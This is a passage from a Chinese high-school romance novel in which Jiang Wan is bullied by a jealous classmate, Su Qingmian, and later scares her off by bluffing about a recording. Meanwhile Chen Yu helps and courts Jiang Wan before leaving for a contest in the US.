姜挽正思考该怎么和他解释,陈屿却等不了那么久:“你出来,不出来我就进去了。” “别,你等一下。”这话,别人说姜挽是不相信的,可陈屿说,她知道他是能做出来的。 对着镜子大致把头发整理了一下,又使劲抻了抻外套和裤子,直到它们没那么明显得贴在身上后,姜挽这才从厕所里走了出来。 陈屿见她出来,第一眼有点懵,随即立马脱下自己的外套,披在她身上,指尖接触到她的身体时,那冷意让他倒吸一口凉气。 “谁干的?”陈屿毫不掩饰怒意,语气甚至可以用咬牙切齿来形容了。 姜挽这会儿已经没那么冷了,准确来说,是已经冻得麻木了:“不知道,她们走得很快。” “操!”陈屿忍不住骂出声,可即便再生气,他也知道这会儿先让她洗澡换衣服才是最重要的。 “给你妈发微信,说你临时有个补习,要晚点回家。” “为什么?”姜挽不理解,“我现在不回家吗?” “难道你想顶着这身湿透的衣服回家?”陈屿虚揽着她的肩膀往教室走,就是她想,他也不会同意的。 “你现在浑身都湿透了,必须要赶紧找个地方洗澡换衣服才行,不然明天一定生病!” 他安排得很有条理,姜挽也想不到其他更好的办法,于是便跟着他回了教室。见他匆忙收好了她的东西,又背起她的书包,这才开口:“那我们现在去哪里?” “开房。” “开……房?”姜挽怀疑自己听错了,这太让她震惊了,“会不会不太合适?” “没什么不合适的,开个房间你先洗澡,然后再把衣服烘干……”话说一半,陈屿突然停下来,转身看着她,上下审视。他故意抬高下巴,带着点做作的批判,“你想哪里去了?都这个时候了,能不能少想点乱七八糟的?” 知道自己误会了,姜挽也有点尴尬,于是她干脆没接这茬,转移了话题:“我没开过房,一般需要注意些什么?” 她这话说的,好像他很有经验似的,陈屿不爱听,闷闷开口:“我也是第一次。” 酒店虽然他住过很多次,可和异性,这是他当之无愧的第一次:“先去看看吧。” 陈屿带着她先去了附近最高档的一家洲际酒店,可因为姜挽没带身份证,办不了入住。又接连跑了好几家档次稍微低点的连锁酒店,结果都差不多,前台都说最近查得很严,没办法通融。 最后实在没办法了,陈屿只能带着她进了一家私人酒店,这家老板倒是没说什么,像是见惯了一样,很爽快地就给他们开了房。 而且老板貌似还有点误会了,房卡递给他们的时候,特意强调,有些东西床头柜里都有,都可以用,离开的时候记得付钱就行。 陈屿匆匆接过房卡,带着姜挽进了房间。进去后的第一件事,便是开空调,等到室内温度暖和起来了,他才让姜挽把外套脱了。 然后又是一通室内检查,姜挽看着他忙活,几次想帮忙他也没让,有点无聊,于是便没话找话:“对了,刚才我们办入住时,那个老板说床头柜里有东西可以用,是什么东西?” 说着,她就要伸手去拉抽屉,被陈屿一个眼疾手快拦下了:“没什么,我们用不上。”仗着她不懂,陈屿糊弄她,“而且你没听到老板说吗,用了要付钱的,所以这里的东西不要随便乱动。” “哦。”姜挽乖乖收回手,反正她也不是很好奇。 看着她这样,陈屿又觉得自己有些不地道,可如果不那样说的话,他又能怎么和她解释呢? 成人用品?两性关系? 这几个字,他自己都开不了口。 屋内都检查好了,确认没有任何不妥当的地方,陈屿才去浴室给她放水,等水温热起来,他和她交代:“你先洗澡,我出去买点东西。记住无论谁敲门都不要开,洗完澡微信和我说一声。” 临行前,他又特意强调:“还有,床头柜里的东西不要乱翻。” 姜挽乖乖点头:“好。” 因为担心她,陈屿没敢去太远的地方,就在楼下的超市给她买了换洗的衣服,来回不过十几分钟。等回到酒店的时候,姜挽当然还没洗完,他也还没收到她的微信。 但陈屿也没敲门,就站在门外,默默浏览手机,开始点外卖。等终于收到她的微信,隔着门听见她脚步声后,陈屿才给她回了一条微信:【开门。】 打开门,姜挽还穿着刚才的校服,陈屿把新买的衣服递给她:“先将就穿着,一会儿等校服干了再换回来。” 姜挽点点头,乖乖进浴室换衣服去了。陈屿给她衣服是一套运动装,和校服的样式差不多,只不过颜色更为鲜艳,款式也更加修身。 一上身,姜挽忍不住惊讶,他买的尺码刚刚好,不大不小,很合身。 她拿着校服从浴室出来:“尺码很合适,谢谢你。” 陈屿正在开外卖,听见她的声音,扭头看过去,这一眼,硬生生让他停下了手上的动作。 确实很合身,而且还很漂亮。 直筒的裤子版型衬得她双腿更加纤长笔直,上衣的拉链设计也恰好露出她的锁骨。许是因为刚洗过澡,她皮肤清透,灯光下泛着一股水润的光泽,像是桃子之类的某种水果,让人忍不住…… 陈屿只看了一眼,便迅速移开了视线:“换下来的衣服给我,你先过来吃面。” 这种酒店没有干洗服务,陈屿只得拿吹风机帮她吹,一点点,一件件。 热气拂耳,风声呼呼,借着这热意,借着这声响,他兀自整理着自己已经快要溢出来的心事。 姜挽要帮忙,陈屿不让,于是便有了她在桌子旁边安静吃面,他在一旁勤勤恳恳帮她吹衣服的画面。 姜挽先吃完,没多会儿,陈屿也把衣服吹得差不多了。她去浴室换了校服,出来就要把新买的衣服还给陈屿。 陈屿却不接:“你留着,还给我,我也没什么用。” “那我把钱给你。” 说着,姜挽就要去拿手机,陈屿当然还是不肯要:“没多少钱,不用这么麻烦。”他顺手将衣服收起来,塞进她书包里,“走,送你回去。” 对他们开了房间,却这么快就退房的行为,老板虽然有些疑虑,却也没多说什么,很爽快地便帮他们办了退房。 陈屿一路将姜挽送到公交站,看着公交车消失在夜色里,这才打车离开。 姜挽回到家,沈曼还没回来,现在到了十一月中下旬,她的工作量比月初更多了,每天几乎都要半夜才能到家。 姜挽先在微信里和她说了一声,继而拿出陈屿放进她书包里的那身衣服,小心叠好,又仔细放进了衣柜的最里层。 第26章 吃醋 当天晚上, 那些乱七八糟的短信,姜挽还是收到了。只不过和之前不同的是,这次短信的内容里提到了她今晚被泼的事情。 什么“水很凉”,“被淋湿一定很爽”, “听到她尖叫就兴奋”的字眼充斥着她的手机屏幕, 让姜挽不得不怀疑, 今晚故意泼她的人, 其实和一直以来给她发短信的, 是同一批人。 这已经不是她所认为的单纯恶作剧那么简单了, 所以,这次的短信,她保留了下来。 次日周五, 下午有一节体育课。 高三因为学业繁忙的原因, 周五相对而言会轻松一些, 大家一般也都喜欢把体育课放在这天, 所以,有时课上遇见好几个班级一起, 也属正常的情况。 这次就是如此, 除了姜挽她们班外,还有几个文科班和舞蹈班的学生。 体育课上, 学校可供选择的运动不多, 以男女生为单位分开,男生基本都是篮球和足球, 女生则是排球和跳绳。 姜挽和尤伽选了排球, 两人都不属于运动型选手,所以一开始接球和发球难免有些笨拙。 来回几次折腾,尤伽发现不远处有三四个女生正盯着她们, 她指给姜挽看:“呦呦,那几个人你认识吗?怎么一直盯着咱们。” 隔得有点远,姜挽也看不清楚,但大概能看出来是舞蹈班的几个女生:“可能是觉得咱俩打得太差了吧。” 她自嘲地笑笑,没在意:“快继续吧,不然这一节课下来,咱俩估计连发球都练不好。” “好。”尤伽也没再看。 可没想到,没过多久,那些人竟径直朝她们走了过来。来人一共四个,最前面的女生个子高,身材好,走起路来步子迈得大,气势拿得足,有股明显的娇纵劲儿。 “是苏青眠和她的小跟班,上次和陈屿表白的那个人。”尤伽在姜挽耳边提醒。 姜挽也认出来了:“嗯。” “她们来干嘛?” 姜挽还没来得及回答,那几人已经走近,为首的苏青眠将姜挽上下打量了一番,没怎么正眼看人:“那边人满了,不介意我们一起打吧?” 虽然不常发生,但这种情况也还是有的。体育课上遇到运动器材不够,场地限制的情况,几个班的同学偶尔也会一起活动。 姜挽没立即表态,毕竟这里除了她和尤伽,还有其他几个女生:“问问其他人的意见吧。” 苏青眠便又把目光投向其他人,她本就个子高,又时刻抬高下巴,所以看人的时候,总有点居高临下的意思。 其他人也知道她的性格,自然也没多的意见:“当然可以。” 话音落,苏青眠旁边的那个高个女孩便立即从姜挽手里把球拿了过去:“那开始吧。” 她跑得很快,带起的风里,似乎都有一股藏不住的不怀好意。 因为她们几个人的加入,球场上的氛围一下就变了,原本是带着点娱乐性质的放松,这会儿突然紧张起来,瞬间成了一场严肃的对峙和厮杀。 尤其是苏青眠她们那几个人,打球不讲策略,也不在乎输赢,似乎只为了人身攻击,且次次针对姜挽。 一开始大家还没发现,次数多了,难免多疑,在球再一次被扔在姜挽身上的时候,尤伽彻底怒了:“你们到底是打球,还是打人啊?这都多少次了,没长眼睛吗?” 对方也毫不示弱:“有你这么说话的吗?张口就骂人?打球哪有这么好的,被碰一下,砸一下,不是再正常不过的事情吗?与其责怪别人,还不如好好反思一下,为什么自己每一次都接不住。” 这是赤裸的挑衅,已经完全超出了正常打球的范畴。 尤伽要上,被姜挽拦下了,这几个人她也看出来了,是故意的。虽然还不懂她们为何会如此,但这里也不是理论的地方。 “算了,我们走吧,换个其他的运动。” 姜挽拉着尤伽要走,对面的苏青眠却突然走了过来,拦住她:“先别着急走呀,这才玩儿了多长时间。”她从高个女生手里接过排球,“刚才王茜不小心砸到你了,是她不对,我替她道歉。” 她嘴上说着道歉,眼里却丝毫没有悔意:“这样吧,作为补偿,我来教你怎么接球,我看你刚才接球的姿势有很大问题。” 姜挽其实是不愿意的,可苏青眠似乎并没给她拒绝的时间,推开尤伽,顺势便站在了她身后。 塞球,托手,抛起。 几个动作像是提前设计好了似的,等姜挽反应过来的时候,球已经飞出去了,同时传进她耳朵里的,还有另外一句话:“看来,昨晚的水还是不够凉,我今天得再加把劲。” 一瞬间,姜挽像是失去了听觉,耳边不停回荡的,只有苏青眠刚才那句话。 原来,这一切,都和她有关。 短信,泼水,还有今天的砸球。 可为什么呢?自己和她一向没有交集,上次她和陈屿表白时,还是姜挽第一次近距离见到她,以往都是从同学口中了解的只言片语。 陈屿…… 她做这些莫不是和陈屿有关? “砰”的一声,是排球落地的声音。姜挽忙回神,可等她顺着声音看过去,才发现排球并没有落地,而是砸到人了。 那人揉了揉肩颈,随即皱着眉转过身来,竟然是裴思。 裴思原本是有点不高兴的,可转头一看是姜挽,随即变了神色。挑了下眉,捡起球,朝她走来。 姜挽回头看了一眼,身边哪里还有苏青眠她们的影子,知道这个哑巴亏现在只能她自己吃了。于是,迎了上去:“抱歉,刚才不小心砸到你了。” 裴思没接她这茬,一手托着排球,另一只插进口袋:“还记得我吗?” “什么?”姜挽有点没反应过来。 裴思笑了,虽然姜挽对他这种类型的没什么感觉,可也不得不承认,他笑起来,确实有一种春风拂面的清新感。 “之前差点砸到你的那个人。” 姜挽点点头,她其实不大会应对生人,于是还是决定继续刚才的话题:“刚才不好意思……” 这次,裴思没等她说完,温和地打断了她:“我砸你一次,你砸我一次,很公平,所以你不需要道歉。” 他这么说,姜挽一时倒是不知该说些什么了。 见她这样,裴思又笑了,他将排球递给旁边的女生,从口袋里掏出手机:“算起来,我们也算是有缘,不如加个微信吧?” 姜挽其实不想加,她微信上人不多,一直也不怎么愿意加一些不太熟悉的人。正犹豫该如何拒绝,突然听到身后传来一阵脚步声,很快,还伴随一声冷淡的回应:“她不加。” 随即,一道高大的身影出现在她面前,正好将她和裴思隔开,是陈屿。 陈屿很高,几乎将她全部挡在了身后,同时挡住的,还有裴思的视线,以及姜挽刚才那点无处安放的尴尬和不安。 阳光从枝桠的缝隙射进来,给他的周身镀上一层浅淡的金色。风,影,还有此刻陈屿的背影,都让姜挽有一种难以言说的安全感。 “哦?是吗?你怎么知道?”裴思一连三个问句。他仍然在笑,只是那笑意已经和刚才不一样了,刚才是放松,这会儿明显是尖锐,甚至还带着挑衅。 陈屿压上一步:“不然呢?你想怎么样?” 裴思也没退:“当然是让她自己说。” 眼见着两人就要杠上,恰巧下课铃声响起,姜挽忙扽了扽陈屿的袖子,拉着他往教室的方向走。 陈屿倒是没拒绝,只不过回去的一路,他一句话都没说。进了教室,回到座位,更是直接踹了凳子一脚。 姜挽以为他是因为刚才的事情生气,正准备解释,陈屿突然在她之前开口了:“我刚才要是没过去,你是不是就把微信给他了?” 突如其来的一句,姜挽愣了。 她想解释,不过陈屿好像并没打算给她开口的机会:“之前不是和你说过离他远点,不要和他过多接触吗,为什么不听?” 这话一出,姜挽也有点生气了,联想到今天这件事情的前因后果,她还觉得委屈呢。她表达不高兴的方式其实很单一,就是不说话。 她一这样,陈屿就立马不敢继续了,装作从课桌里拿出书本,实则注意力都在她身上。 他也意识到自己刚才有些过分了,可他妈的,他就是控制不住啊! 不管以前想的多好,多大度,只要一见到她和其他男生在一起,他心里的火就“蹭蹭蹭”往上冒,尤其还是那个裴思!这家伙一看就不怀好意! 也怪他自己,原本见着她周围都是女生也就没在意,谁知一走神就让别人钻了空子。 关键是他还把姜挽惹生气了,哎…… 陈屿其实没什么哄人的经验,一切不过皆是遵循本心。 东西掉了,他去帮姜挽捡;试卷发了,他帮姜挽拿;甚至还专门跑了一趟超市,买了一大堆她爱吃的零食…… 可即便他把这一切都做完,收到的也只有姜挽一句淡淡的“谢谢”。 陈屿觉得焦躁,指尖的笔被他翻来覆去转个没完,这种被她冷淡,甚至被隔绝在她世界之外的感觉,他完全受不了。 趁着她翻试卷,陈屿“啪”的一声把笔拍在桌上,顺势拿走了姜挽手中的那根:“不就说了你两句,至于这么生气吗。” 这个问题,一瞬间把姜挽问住了。 其实她也在想,至于吗?就像他说的,他不过说了两句话而已。最开始比这态度更差,更冷淡的话,她也不是没有听陈屿说过。 可为何偏偏今天就接受不了了呢? 归根到底,姜挽觉得,还是因为这次的事情涉及到苏青眠,那个和他表白的女孩。 意识到自己有点借题发挥了,姜挽收拾好心情,郑重其事地和他道歉:“抱歉,我刚才有点失态了。” 陈屿差点没被她这句话吓死,立马把笔还给她:“怎么了?” 姜挽没再接话,陈屿心里别提多着急了,愣愣看着她,真觉得自己得罪了个小祖宗。 他叹一口气:“真是怕了你了,”他去拉姜挽的手腕,把刚才买的零食撕开递给她,“我的错,我刚才太着急了,我给你道歉,好不好?” 他都这么说了,姜挽实在没有理由再生气下去,接过他递过来的零食,看了眼,她却没吃。 “又怎么了?”陈屿实在是被她搞怕了。 “这个尤伽喜欢吃,我留给她。” 不提尤伽还好,一提到她,陈屿就生气,刚才他过去的时候,那丫头正对着裴思犯花痴呢,就连他和姜挽离开,她也没注意到。 很明显,在她眼里,觉得裴思更好。 别的还好,陈屿就担心姜挽被她影响,找机会他一定得和孟云程好好说说这个事,让他多管管尤伽。 旁边零食还有一大堆,陈屿又去拿其他的给她,没想到这次姜挽还是不吃,而且理由还更加离谱:“这些小酒喜欢吃,我晚上带给它。” “小酒?又是谁?” “小猫啊,你每天和我一起喂的,不记得了?” 陈屿:“……” 罢了,罢了,反正今天这口吃的,他是喂不到她嘴里了。 第27章 拥抱 尤伽迷恋裴思的事, 陈屿找机会和孟云程说了,可孟云程听后也很苦恼,甚至有点自暴自弃:“她一直都是这样的性格,我有什么办法?” 陈屿有点恨铁不成钢:“那就这么放弃, 你甘心吗?” 孟云程正在吃饭, 一筷子拍在桌上, 眼底红红的, 除了挫败, 还有委屈:“我当然不甘心了, 可她只拿我当朋友,”说到这,他扯出一个苦涩的笑, “有可能朋友都算不上, 我一点机会都没有。” 陈屿看不惯他这颓废的样子:“那你就去争取, 去努力, 没有机会就制造机会。” “制造机会?什么意思?”孟云程重复他的话。 有些话,他自己说的时候没感觉, 被别人一重复, 陈屿倒是瞬间反应过来了。电光火石间,他意识到这个道理同样也适合他和姜挽。 没有机会就制造机会, 总该有人先迈一步。 陈屿起身要走, 被孟云程拦了下来:“你说清楚呀,制造机会是什么意思?” 陈屿皱眉, 有点嫌弃地拂开他的手:“如果你连这句话都不懂, 那么我后面的话也就没必要再说了。”他端起餐盘要走,“再说了,我还有更重要的事情要做, 没时间陪你在这消磨。” 孟云程看着他的背影,重新拿起筷子,边吃,边念叨:“制造机会,到底怎么样才算制造机会呢?” — — 班里最近有一个传言,说陈屿马上就要去美国了。据说是去考察学校,如果合适的话,就会立马转学,不用参加高考,并且以后都不会再回来了。 听到这个消息的时候,姜挽正在做习题,一瞬间像是晃了神,握笔的力道加大,硬生生在练习册上拉出一道长长的印记。 见她这样,尤伽也有些紧张:“呦呦,你先别着急,这些都是传言,不一定是真的呢。”尤伽盯着她煞白的脸色,把水杯递给她,“毕竟陈屿还没说什么,应该不是真的。” 姜挽也意识到自己失态了,接过水杯,勉强喝了两口,强颜欢笑道:“没事,我只是觉得有点惊讶罢了。不过,就算他要出国留学,也是应该的。人往高处走,他这个成绩,出国发展也是很好的选择,我为他高兴。” 尤伽叹一口气:“你还是先和陈屿确认一下吧,我觉得他不是这样的人。” 尤伽刚转身,姜挽便立马懈了劲儿,像是扎紧的麻袋突然泄了气,她整个人从身体到脸色,都透着一股黯然。 她和陈屿之间隔着很多东西,姜挽一直都知道,家境,门楣,或许,还有她的母亲。 这些东西一直都存在,姜挽也从未奢望过能消除。知道那一天终究会来,但至少现在还能见到他,能够短暂地贪恋着这份美好,她就觉得足够了。 可这个突如其来的消息,像是在她刻意营造的平静湖面投入一颗石子,打破了她的幻想,敲碎了她的希冀。 今天放学后,姜挽照例和陈屿一起去喂小酒,这段时间,她们经常如此。小酒也像是知道一样,每天都会在固定的地方等着她们。 天气很好,头顶挂着一轮圆月。 沉静的月色,疏朗的夜星,姜挽摊开手,专注看小酒吃着她手心的小鱼干。 还剩最后几口,等到小酒终于吃完了,姜挽才抬手捋了下头发:“听说,你要去美国了?” 陈屿先是一愣,随后有点心虚地开口:“啊,对。” 看来是真的了。 耳边风声带着枝桠“哗哗响”,腿边还有小酒不停蹭着她要新的零食,姜挽抱着膝盖,压下心头的酸涩,又给小酒拿了一份。 静了片刻,陈屿试探性地开口:“你觉得怎么样?” “挺好的。” “你真这么觉得?” 他似乎有点不高兴,但姜挽并不明白因为什么:“你成绩这么好,家里又有条件,去更好的地方发展是应该的。” “所以,这是你的心里话?”陈屿有点负气。 姜挽茫然地看着他,点点头,希望他好,希望他能去更大的舞台,这确实也是她心里的想法。 “既然这样,”陈屿拍了拍手,由蹲着的姿势改为站起来,“我们认识这么长时间了,这些日子我也帮了你不少忙,在我离开前,我希望你能答应我一个要求。” “好,你说。” “和我拥抱一下。” “什么?”姜挽“腾”的一下从地上站起来,小酒没了吃的,开始呜呜叫,她忙又蹲下去把东西放到它跟前。 “我说,在我离开之前,希望你能和我拥抱一下。”陈屿郑重其事地又重复了一遍,不像是在开玩笑。 他说的内容,姜挽当然听清了,她只是不明白为什么要这样:“为什么?” “离别前拥抱告别,这不是再正常不过的吗?”陈屿其实也有点心虚,但他必须硬挺着。挺到姜挽同意,挺到他自己都相信这个理由。 “能不能换成别的要求?” “不能,”她在犹豫,陈屿趁热打铁,“你刚才不是也已经同意了吗?” “刚才我不知道是这个要求。” “你讨厌我?”陈屿换了种问法。 “不讨厌。” “我们是不是朋友?” “当然。” “那不就结了,既然我们是朋友,你又不讨厌我,朋友间的离别拥抱,为什么不可以?” 他的话,语速又快,逻辑也在,姜挽基本还不上嘴。 “就一次,你要是不喜欢,我绝不强求。” “那……好吧。” 话音落,陈屿便立马迈近两步,两人间的距离一瞬间拉近,姜挽能清晰看到他长长的睫毛,和睫毛下映着月光的黑色瞳仁。 呼吸声,树梢的风声,还有快要跳出胸膛的心跳声。 很快,陈屿迎上来了,说是拥抱,他其实也只是虚搭着她的肩膀而已:“讨厌吗?” 耳边响起他的声音,沉沉音色随着耳骨传入心脏,一瞬间姜挽几乎忘了呼吸。她将脸偏向一边,愣愣盯着地上月光照亮的方寸之地:“还行。” 欲盖弥彰。 他们都在用最蹩脚的理由,掩饰自己心底最真实的想法。 “等我回来,我给你带礼物。”陈屿突然开口。 “回来?” “是啊,我去美国考试,一个星期后回来。” “考试?你不是要转学去美国吗?”姜挽从他怀里挣开,用她那双盈盈如水的桃花眼把他看着,满脸的疑惑。 陈屿抬手用指节轻碰了一下她的脸颊:“谁说的?” 姜挽还愣着,也没意识到这动作的不妥:“大家都在说,难道不是吗?” “当然不是了,我只是去美国参加AMC比赛而已,我可从来没说过去留学。” “那你刚才……” “刚才我也没说啊。” 姜挽一个头两个大,心里两种情绪来回撕扯着。一种是知道他不会离开后的欣喜,另一种是察觉被骗后的郁闷:“那你要出国留学的消息,是怎么传出来的?” 陈屿摊开手,一脸无辜:“我也不知道,我只不过是说了要去美国,就被人传成这样了。” 好嘛,听来听去,他就是一点责任都没有嘛。 “那你刚才为什么还说要拥抱?” “虽然不是去留学,但我也确实是要去美国,离开前要求一个拥抱,好像也不过分吧。” “你……” 眼见着她要发怒,陈屿连忙蹲下去,拿小酒当挡箭牌:“小酒,我去美国了,你会不会想我?”他轻轻捋着它的后背,“想我也没关系,你可以给我发微信,打电话,或者视频都可以。我一定二十四小时开机,不会错过任何一条你的消息。” 姜挽觉得他好笑:“它只是一只小猫,怎么可能听得懂你说什么。” “我知道,”陈屿头都不抬,“反正我这些话也不是说给它听的。” 一刹那,姜挽愣住了。这里只有她和小酒,不是说给它听的,那就只有一种可能,是说给她听的。 晚风乍起,送来一阵淡香。 这个刹那的瞬间,让姜挽明白过来,他对她,应该也有着不一样的感觉。 陈屿的出国行程安排得很快,基本上是和她说完后的第三天,便出发了。他这一走,原本传闻他要转学的谣言自然也就不攻自破了。 上午大课间,姜挽和尤伽从超市出来,她买了一点小酒爱吃的小鱼干,打算晚上拿给它。 陈屿这一走,照顾小酒的任务就全在她身上了。虽然人是少了点,她也不能让小酒感觉到被冷落。 “我就说吧,陈屿不是这样的人,他不会去美国上学的。”阴冷的天,尤伽“哐哐”往嘴里灌冰饮料,“现在就算让他转学去美国,他也不会去的,他舍不得某人呢。” 姜挽惦记着晚上要给小酒吃的东西,一时间也没注意她的话:“舍不得什么?” 尤伽笑着反问:“你说呢?” 两人正聊着,迎面突然走过来几道身影,挑染的发色,另类的校服,是苏青眠和她的那几个小跟班。 她明显是冲着姜挽来的,路那么宽,偏偏要和她对立,擦肩而过的瞬间,故意撞上姜挽的肩膀,冷面嘲笑:“有些人就是不长眼,看人的时候异想天开,没想到走路竟然也不看路。” 苏青眠话音一落,身边便立马有人帮腔:“是啊,某些人不要太没有自知之明,仗着自己成绩好,有几分姿色,就到处勾引男人,以为谁都会喜欢她,真是白日做梦!” 勾引,做梦,姿色…… 这些恶毒的语气和庸俗的用词,姜挽几乎不敢相信是从高中生嘴里说出来的。 她们的话指向性很明显,如果说之前她还是怀疑的话,那么现在就已经可以肯定了。苏青眠她们,就是因为陈屿的原因,才会故意打击报复她。 姜挽虽一向脾气温和,可也不代表不会生气,尤其还是这种涉及到原则的事情:“路这么宽,大家各走各的,互不干涉。如果不小心被撞了,那也一定是有人故意为之,走了不属于她的那条。” 她这话一语双关,路如此,人也是如此。 苏青眠有点愣住了,之前她几次见姜挽都觉得她是一个文弱的女孩,原本以为性格也是任人拿捏的那种,没想到竟然会这么硬。 她被顶了,脸上有点挂不住,也顾不得形象:“你他妈说什么呢?路和人,请问你哪样配得上?” 此话一出,姜挽还没说什么,倒是尤伽忍不了了,上次的排球事件她就看出来了,这苏青眠是故意针对姜挽的。作为朋友,她当然不能不管,更何况陈屿离开前,还特意找了孟云程拜托她,要照顾姜挽。 “你他妈找事呢?”尤伽可比姜挽脾气暴多了,“什么路呀人的,我听不懂,我就看见你故意撞她了。” “你怎么说话呢?”苏青眠几乎要跳起来了。 “我就这么说,一直都这么说,不服气你来啊!” 苏青眠要上,被她旁边的人劝下了,骂骂咧咧了两句,最后不情不愿地离开了,临走前,还不忘丢下一句:“你给我等着!” 一场闹剧,来得快,去得也快。 回去的路上,尤伽安慰姜挽:“别怕,她要是敢欺负你的话,我铁定不会放过她。” “没事,我不怕。” 姜挽确实不怕,她骨子里有一股韧劲,像破土而生的小草,又仿佛暴风雨中的新叶,只要是自己认定的,就一定会坚持下去。 第28章 坚持 晚上, 姜挽正蹲在地上喂小酒吃小鱼干,突然听到不远处有脚步声靠近,她抬头一看,又是白日里遇到的苏青眠她们几个。 随着她们的靠近, 嘲讽的声音也跟着响起:“你可真会找地方躲, 这种地方要不是跟着你过来, 我们压根就找不到。” 她们来者不善, 姜挽感觉到了。她摸了摸小酒的头, 将手中剩下的小鱼干放在它的餐盘里, 这才从地上起身。 虽未开口,可她身形修长,站得笔直, 月色下, 仿佛一株清雅冰洁的百合, 浑身上下都透着一股坚韧劲儿。 苏青眠最看不惯她这样, 上去就要推姜挽的肩膀:“你他妈少在我面前装!” 被姜挽皱着眉躲开了:“你们这样,不怕违反校规吗?” “校规?”苏青眠冷笑一声, “不过是用来约束你们这些穷鬼的枷锁罢了, 你以为我会怕?别说校规了,就算是校长来了, 在我爸面前, 他也得给我面子!” 姜挽早猜到她背后有靠山:“你想怎么样?” “很简单,第一, 你给我道歉;第二, 你以后离陈屿远点,再不要和他有任何联系。”苏青眠说得流畅,很明显是一开始就计划好了的。 “我要是不同意呢?”隔着一段月色, 姜挽和她对视。 “不同意?你有什么资格不同意?”苏青眠像是听到了什么笑话,嘴角快速抽搐了两下,“那你就得为你的选择付出代价。” 说着,她扬手,手掌冷刀子一样劈了过来,她是对准姜挽的脸的,却被姜挽一个抬手躲过了,最后巴掌落了空,拍在了姜挽的胳膊上,她当然不肯善罢甘休。 “你竟然还敢躲?真是不知道天高地厚!”苏青眠朝身后看一眼,“都给我上!” 三四个女生,眼见着就要扑过来,姜挽难免有些慌张,可她不能退,她也不会退。 也许这会儿她道个歉,或者假装答应她们的要求,就能避免和她们的冲突,躲过此劫,可姜挽不会这么做。 陈屿是她的底线,她的坚持,即便不能光明正大地说出来,但在自己的能力范围内,她会用尽全力去坚守。 一个巴掌过来,她躲过了。但还有第二个,第三个,眼见着就要接踵而来,突然,站在她对面的苏青眠猛地大叫一声,接着脚下狠狠一踢,骂骂咧咧道:“哪里来的野猫?” 她那几个小跟班瞬间便调转方向,忙着去查看她的情况。姜挽这才注意到,原来刚才是小酒扑到了苏青眠身上。 被踢了一脚后小酒也有点委屈,靠近姜挽脚边,来回蹭着她的裤管。姜挽忙蹲下去,一下下抚摸着它的后背:“别怕,没事。” 苏青眠的丝袜被抓破了,腿上留下了几道红痕,她龇牙咧嘴地对着姜挽骂:“原来这个畜牲是你养的,果然和你一样贱,去把它给我打死!” 姜挽连忙将小酒挡在身后,她们怎么对她,她无所谓,但是对小酒就是不行:“苏青眠,”她第一次叫她的名字,用一种赫然正派的语气,一种视死如归的决心,“你要是敢动它,我不会放过你。” 刹那间,苏青眠还真有点被吓到了,可惊吓过后,她又开始冷笑,是那种高阶层面对低阶层的蔑视,权力者面对普罗大众的玩弄:“你想怎么不放过我,我倒是想听听。仗着陈屿吗,可他现在不在这儿,你要给他打电话,远程求助?你大可以试试,看看到底是你的电话快,还是我的动作快。” “不用他,我也一样可以达到我的目的。”琥珀色的清亮瞳仁,迎着月色,有一股莫名的震撼,让她们不得不正视。 姜挽从口袋里掏出手机:“这里面的录音我一直开着,从你们过来开始,说的每一句话,每一次辱骂,都被录了进去,哦,对了,还有你们之前给我发的短信。” 听到这些,苏青眠的脸上一瞬间闪过恐慌。 姜挽靠近两步,和她对视:“或许你的父亲有着别人不可比拟的权势,在这个学校里,每人能把你怎么样,可出了这个学校呢?倘若这件事情在网上公开,你虐猫以及霸凌同学的事情就会被曝光,你觉得到了那个时候,你的父亲还能保你吗,有一个这样的女儿,对他就没有一点影响吗?” “你!”苏青眠恶狠狠地瞪着姜挽,她腿伤了,左右还需要人扶着:“把她手机给我抢过来!” “没用的,我手机设置了自动上传,就算你删掉了也没用。” “姜挽,你个贱人!” 姜挽现在已经不在乎她怎么骂了:“你现在马上离开这里,我可以保证这段录音永远不会泄露出去。” “我凭什么相信你?”苏青眠喊得凶,其实她心里已经有点没谱了。 “你没有别的办法。” 苏青眠有点犹豫了,趁着这个机会,她旁边的几个人也开始劝她,毕竟她们也只是跟着她混的小啰啰,她们的父母可没有什么权势,要是这段录音真传出去了,她们也没法和自己的父母交代啊。 “苏姐,要不我们还是先走吧,来日方长,没必要这会儿和她在这儿较劲。” “是啊,你这刚才还被猫抓了,得赶紧去医院打疫苗,要是一不小心感染了,风险可就大了。” “是啊,是啊,身体要紧,我们还是先去医院吧。” 周围叽叽喳喳的,苏青眠被吵得头痛,她大吼一声:“都别说了,先扶我去医院,”离开前,她冲着姜挽的方向点点手指,“晚点再来收拾你!” 她们一走,姜挽这才松了手机,指尖因为刚才的用力早已一片青白。其实她哪有什么录音,不过是诈她们的罢了。 她蹲下来,把小酒抱在怀里:“小酒,刚才多亏了你。” 小酒也像是听懂了她的话似的,把头埋在她的怀了,来回轻轻蹭着。 姜挽回到家,沈曼还没回来,她收拾完进房间后,突然收到一条陈屿的微信。 一张蓝天白云的照片,画面右上角还有一颗初升的太阳,橘红色的光晕照得整张照片像蒙了一层滤镜,很有意境。 她们两个现在有时差,姜挽算过了,她这边的晚上,正好是他那边的清晨。 指尖开始敲击,姜挽刚打算给他回条微信,陈屿的消息又进来了:【方便打视频吗?想把这里的天空分享给你看。】 姜挽有些犹豫,她们经常联系是不假,可都是打字或者发照片,像这种语音视频类的通话,以前从来没有过。 隔着文字,她可以斟酌,可以思考,也可以隐藏自己的情绪,但语音和视频就不一样了。一段传播迅速的电磁波,快到她来不及做任何准备,也怕掩饰不住自己的慌乱内心。 【还是发照片吧,照片也能看见。】 【有些东西照片看不清,更何况还有声音。再说了我在这边人生地不熟的,也没人能分享,就这一次,好不好?】 姜挽心软了:【好吧,那你等我一下。】 她放下手机,特意隔着门去听了下客厅的动静,见没人,又反身给卧室上了锁,这才给陈屿发了一条微信过去:【可以了。】 几乎是消息发出去的下一秒,微信页面便立马弹出了视频请求,姜挽清了清嗓子,按下了接通:“喂。” 首先映入眼帘的不是风景,而是陈屿那张五官优越的酷脸,他穿着黑色短袖,瞳仁深邃,表情懒散,隔着屏幕看,似乎比之前更帅了。 因这倒错的隐秘感,姜挽当即有些脸红:“风景呢?” “不急,你先调整一下你的摄像头。” 姜挽这会儿正坐在书桌旁,她原本以为只是为了看他那边的风景,也就没注意,这会儿被他提醒后才意识到她的摄像头确实有些歪了,只能看到她的下巴在里面,其余全是她身后的背景。 “往哪边调?” “你先调,合适了我告诉你。” “这样可以了吗?” “再往左边一点。” “这样呢?” “右边一点。” “现在呢?” 